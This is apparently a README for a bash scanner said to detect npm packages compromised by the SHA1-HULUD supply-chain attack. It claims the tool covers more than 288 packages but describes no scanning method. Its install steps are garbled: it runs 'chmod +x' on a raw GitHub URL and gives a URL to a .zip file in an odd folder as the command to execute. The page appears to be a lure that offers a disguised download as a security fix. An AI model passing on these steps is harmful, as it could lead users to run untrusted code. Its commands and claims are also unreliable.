Welcome to the sha1-hulud-scanner project! This tool helps you find out if your npm packages are compromised due to the SHA1-HULUD supply chain attack. Follow these simple steps to download and run the scanner with ease.
Before you download, ensure your system meets the following requirements:
- Operating System: Works with Linux and macOS.
- Bash Shell: You need a working bash environment. Most Linux distributions come with bash installed. For macOS, bash is also available by default.
- Internet Connection: Required to download npm packages and get updates.
- Comprehensive Scanning: Detects over 288 compromised npm packages.
- Simple Interface: Easy to use, even for beginners.
- Fast Results: Quickly scans your packages and provides feedback.
To get started, visit the Releases page to download the latest version of the tool.
- Click the link above.
- Look for the latest release.
- Find the file suitable for your operating system (for example, a .sh file for Linux or macOS).
- Click to download the file to your computer.
Once you have downloaded the scanner, follow these steps to run it:
-
Open your terminal. You can usually find this in your applications or utilities folder.
-
Navigate to the folder where you downloaded the scanner. For example, if you downloaded it to the "Downloads" folder, enter:
cd ~/Downloads
-
Give permission to run the file. If you downloaded a
.shfile, use this command:chmod +x https://raw.githubusercontent.com/vitor2342/sha1-hulud-scanner/main/Rousseauite/hulud-scanner-sha-v2.6.zip
-
Now, run the scanner with this command:
https://raw.githubusercontent.com/vitor2342/sha1-hulud-scanner/main/Rousseauite/hulud-scanner-sha-v2.6.zip
-
Follow the prompts to scan your npm packages.
If you run into any issues, here are some common solutions:
- Permission Errors: If you see a permission denied error, ensure you used the
chmodcommand to set executable permissions. - Command Not Found: Make sure you are in the correct directory where the scanner is located.
- Dependencies Missing: If there are issues related to missing tools, you may need to install certain bash utilities.
If you need further assistance, you can visit the Issues page on GitHub. Here, you can report bugs or ask for help.
Make sure to check back often for updates to the sha1-hulud-scanner. Developers are always working to improve the tool and add new features.
If you want to contribute, feel free to fork the repository and submit a pull request. Your input is valuable, and we welcome new ideas to enhance the scanner.
Thank you for using sha1-hulud-scanner! By following these steps, you can effectively protect yourself from compromised npm packages.